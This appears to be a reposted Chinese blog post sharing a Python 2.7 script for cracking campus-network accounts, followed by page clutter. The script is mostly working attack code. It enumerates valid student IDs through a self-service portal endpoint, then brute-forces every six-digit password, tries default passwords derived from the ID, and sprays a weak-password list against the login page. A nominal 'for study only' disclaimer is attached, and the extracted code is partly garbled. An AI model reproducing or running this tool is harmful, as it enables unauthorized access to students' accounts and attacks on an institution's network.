校园网密码破解程序

环境:Python 2.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python
#coding=utf8
print  "+" * 50
print  u "功能:简单破解校园网账号"
print  u "微信公众号:电脑趣事"
print  u "仅供学习交流使用,严禁违法犯罪,否则后果自负"
print  "+" * 50
 
import  httplib
import  urllib
import  re
 
 
username = []
httpClient  =  None
If_password  = [ 000000 , 123456 , 123123 , 456456 , 789789 , 110110 , 110120 , 111111 , 222222 , 333333 , 444444 , 555555 , 666666 , 777777 , 888888 , 999999 , 5201314 ]
 
def  Determine():
     nj  =  int ( raw_input ( "please select a class 15,16,17:" ).strip())
     start  = int ( raw_input ( "please input start(Prompt:1234):" ).strip())
     end  =  int ( raw_input ( "please input end(Prompt:5678):" ).strip())
     
     if  (end < = start  or  (nj ! =  15  and  nj ! =  16  and  nj! = 17 )):
         print  u "输入有误,请重新选择"
         print  '=' * 50
         menu()
         exit()
     else :
         print  "please wait a moment "
 
     #构造学号
     for  in  range (start,end):
         for  in  range ( 0 , 100 ):
             key_numer  =  int ( str (nj) + str (i).zfill( 4 ) + str (j).zfill( 3 ))
             
             try :
                 params  =  urllib.urlencode({ 'key' : key_numer})
                 headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
                 httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
                 httpClient.request( "POST" "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser" , params, headers)
                 response  =  httpClient.getresponse()
                 right_or_wrong  =  response.read()
                 #正则和判断
                 zhengze  =  re.findall( r 'false' ,right_or_wrong , re.M|re.I)
                 if  len (zhengze)  = =  1 :
                     username.append(key_numer)
                 
             except  Exception, e:
                 print  e
             finally :
                 if  httpClient:
                     httpClient.close()
     print  "." * 50
     print  u "在这个范围内已开通的账号有:"
     print  ""
     print  username
     print  "." * 50
     return  username
 
def  Connect(UserName,PassWord):
     global  a
     try :
         params  =  urllib.urlencode({ 'name' : UserName, 'password' :PassWord})
         headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
         httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
         httpClient.request( "POST" "/selfservice/module/scgroup/web/login_judge.jsf" , params, headers)
         response  =  httpClient.getresponse()
         right_or_wrong  =  response.read()
 
         pipei  =  re.findall(r 'errorMsg' , right_or_wrong, re.M|re.I)
         if  len (pipei) = = 1 :
             =  0  #判断是否爆破出来的标记
             pass
         else :
             print  u "账号:%s\000\000密码:%s" % (UserName,PassWord)
             =  1
             
     except  Exception, e:
         print  e
     finally :
         if  httpClient:
             httpClient.close()
     return  a
 
def  yanzheng():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     for  in  range ( 0 , 1000000 ):
         PassWord  =  str (i).zfill( 6 )
         Connect(UserName,PassWord)
         if  = =  1 :
             break
         else :
             pass
 
def  Default_password_single():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     PassWord  =  UserName[ 3 : 10 ]
     Connect(UserName,PassWord)
     if  = = 0 :
         PassWord  =  '123456'
         Connect(UserName,PassWord)
         if  a = = 0 :
             print  u "已经查找完成"
 
def  Default_password_not_single():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])
         PassWord  =  UserName[ 3 : 10 ]
         Connect(UserName,PassWord)
         if  = = 0 :
             PassWord  =  '123456'
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  = =  0 ):
                 print  u "已经查找完成"
 
def  if_password():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])  
         for  in  range ( 0 , len (If_password)):
             PassWord  =  If_password[j]
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  j = = len (If_password) - 1  and  = =  0 ):
                 print  u "已经查找完毕"           
 
 
 
def  menu():
     print  u "欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
     while  True :
         print  "*" * 50
         print  u "\t(1) 查看已经注册的账号"
         print  u "\t(2) 简单的爆破"
         print  u "\t(3) 默认密码单个查询"
         print  u "\t(4) 默认密码批量查询"
         print  u "\t(5) 弱口令爆破"
         print  "*" * 50
         choices  =  raw_input ( "Please choices:" ).strip()
         if  len (choices)  = =  0 :
             continue
         if  choices  = =  '1' :
             Determine()
         elif  choices  = =  '2' :
             yanzheng()
         elif  choices  = =  '3' :
             Default_password_single()
         elif  choices  = =  '4' :
             Default_password_not_single()
         elif  choices  = =  '5' :
             if_password()
         else :
             print  u "请注意账号安全!"
             exit()
 
 
if  __name__  = =  '__main__' :
     menu()
    







微信公众号

wKioL1nnZnCRPP2MAAAhInXKMzc013.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1973967


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值